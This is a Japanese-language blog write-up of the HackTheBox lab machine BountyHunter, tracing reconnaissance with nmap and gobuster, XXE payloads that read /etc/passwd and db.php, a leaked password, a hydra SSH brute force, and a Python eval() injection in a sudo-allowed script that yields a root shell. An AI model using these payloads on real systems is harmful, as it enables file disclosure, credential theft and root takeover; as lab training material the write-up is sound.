🍏

【HackTheBox】BountyHunter Writeup

2023/04/29に公開

Enumeration

nmap

VMからだとnmapが遅かったりするみたいで、とりあえずtop 75 portsをスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -top-ports 75  -Pn -open 10.10.11.100
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-26 09:48 EDT
Nmap scan report for 10.10.11.100
Host is up (0.17s latency).
Not shown: 73 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

sshとウェブサイトがありました。
ウェブサイトからcredentialsを見つける→sshでログイン→userフラグ→特権昇格→rootフラグというよく見るルートで試したいと思います。

Gobuster

gobusterでスキャン。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.11.100 -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/27 01:38:14 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 25169]
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/portal.php           (Status: 200) [Size: 125]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php               (Status: 200) [Size: 0]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/.php                 (Status: 403) [Size: 277]
Progress: 175311 / 175330 (99.99%)
===============================================================
2023/04/27 02:28:57 Finished
===============================================================

website探索

  • index.php:contactフォームはリクエスト送れないことがわかりました
  • portal.php:ページ内のリンクはlog_submit.phpに遷移できます
  • log_submit.php:バグの情報を登録するフォームがあります。登録してみると下に表示されます

    ページソースを見てみると、<script src=”/resources/bountylog.js”> があったので内容を確認します。base64にエンコードされたxmlデータをtracker_diRbPr00f314.phpにPOSTしていることがわかります。XXE攻撃を試してみたいと思いました。
    /resources/bountylog.js
    function returnSecret(data) {
    return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
    }
    
    async function bountySubmit() {
    	try {
    		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
    		<bugreport>
    		<title>${$('#exploitTitle').val()}</title>
    		<cwe>${$('#cwe').val()}</cwe>
    		<cvss>${$('#cvss').val()}</cvss>
    		<reward>${$('#reward').val()}</reward>
    		</bugreport>`
    		let data = await returnSecret(btoa(xml));
    		$("#return").html(data)
    	}
    	catch(error) {
    		console.log('Error:', error);
    	}
    }
    
  • db.php:何も表示されません
    db.phpは気になりますが、一旦放置してXXE攻撃できるかどうかを調査します。

Initial Foothold

XXE調査

XXEをテストする手順はhacktricksに書いてあったのでそれで試します。
Burp Suiteでリクエストを見てみます。

新しいentityを作ってみる


送ってみると、レスポンスにrandomtextが入っているので、攻撃できそうです。

read fileを試してみる

xmlをこの内容に書き換えてリクエストを送ってみます。
/etc/passwdの内容が見れましたので、サーバー上の任意のファイルの中身が見えることがわかりました。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"> ]>
		<bugreport>
		<title>&test;</title>
		<cwe>weerwer</cwe>
		<cvss>asdf</cvss>
		<reward>11111</reward>
		</bugreport>

Credentialsを見つける

気になっていたdb.phpのソースコードを見てみます。このpayloadでリクエスト送ります。レスポンスにbase64にエンコードされたものが返ってきました。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=./db.php"> ]>
		<bugreport>
		<title>&test;</title>
		<cwe>weerwer</cwe>
		<cvss>asdf</cvss>
		<reward>11111</reward>
		</bugreport>

decodeするとそれっぽいcredentialsが出てきました。

┌──(kali㉿kali)-[~]
└─$ echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

SSH

db.phpからわかったパスワードでログインを試します。
usernameをadminで試したら失敗したので、/etc/passwdから可能なusernameを取ってきてhydraでbrute forceしてみたいと思いました。
burp suiteから/etc/passwdの中身をテキストファイルにpasteします。その後はusernameだけ抽出します。

etcpasswd.txt(一部)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
┌──(kali㉿kali)-[~]
└─$ cat etcpasswd.txt | cut -d: -f1 > usernames.txt

┌──(kali㉿kali)-[~]
└─$ cat usernames.txt | head
root
daemon
bin
sys
sync
games
man
lp
mail
news

usernameの候補一覧が作れたので、hydraでログインを試します。デフォルトの設定だと”connection reset by peer”のエラーが出たので、-t 1の設定でゆっくり実行します。

┌──(kali㉿kali)-[~]
└─$ hydra -L usernames.txt -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh -vv -t 1
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-27 02:21:42
[DATA] max 1 task per 1 server, overall 1 task, 35 login tries (l:35/p:1), ~35 tries per task
[DATA] attacking ssh://10.10.11.100:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@10.10.11.100:22
[INFO] Successful, password authentication is supported by ssh://10.10.11.100:22
[STATUS] 15.00 tries/min, 15 tries in 00:01h, 20 to do in 00:02h, 1 active
[STATUS] 13.50 tries/min, 27 tries in 00:02h, 8 to do in 00:01h, 1 active
[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K
[STATUS] attack finished for 10.10.11.100 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-27 02:24:18

usernameはdevelopmentでした。
sshにログインしたらすぐuser.txtが出てきました。これでuserフラグゲットです。

development@bountyhunter:~$ ls
contract.txt  user.txt

Privilege Escalation

Enumeration

user.txtと同じディレクトリのcontract.txtの中身を確認するとこんな情報がありました。

Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John

クライアントから送ってきたinternal toolを確認してくださいというメッセージでした。ツールを動かす権限もつけてくれたみたいです。なので、早速そのスクリプトを探します。

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

internal toolはこの/opt/skytrain_inc/ticketValidator.pyのことでしょうね。

Source Code Analysis

スクリプトの中身を確認します。

/opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

ファイルを指定して、チケット情報が有効か無効かを判定するプログラムみたいです。eval()使っているので、これをexploitすればroot shell取れそうです。
eval()に辿り着くために通らないといけない条件チェックが複数あるので、その条件を確認しながらpayloadを書きます。

hackroot.md
# Skytrain Inc 
## Ticket to Tokyo
__Ticket Code:__
**704+__import__("os").system("id")**

スクリプトを走らせるとidの結果が出力されたので、任意のコードを実行できることが確認できました。

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
hackroot.md
Destination: Tokyo
uid=0(root) gid=0(root) groups=0(root)
Valid ticket.

Root Shell

ではrootが取れるpayloadに書き換えていきます。

hackroot.md
# Skytrain Inc
## Ticket to Tokyo
__Ticket Code:__
*704+__import__("os").system("/bin/bash")**

実行するとrootが取れました。

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
hackroot.md
Destination: Tokyo
root@bountyhunter:/home/development# ls
contract.txt  hackroot.md  user.txt
root@bountyhunter:/home/development# cat /root/root.txt

Discussion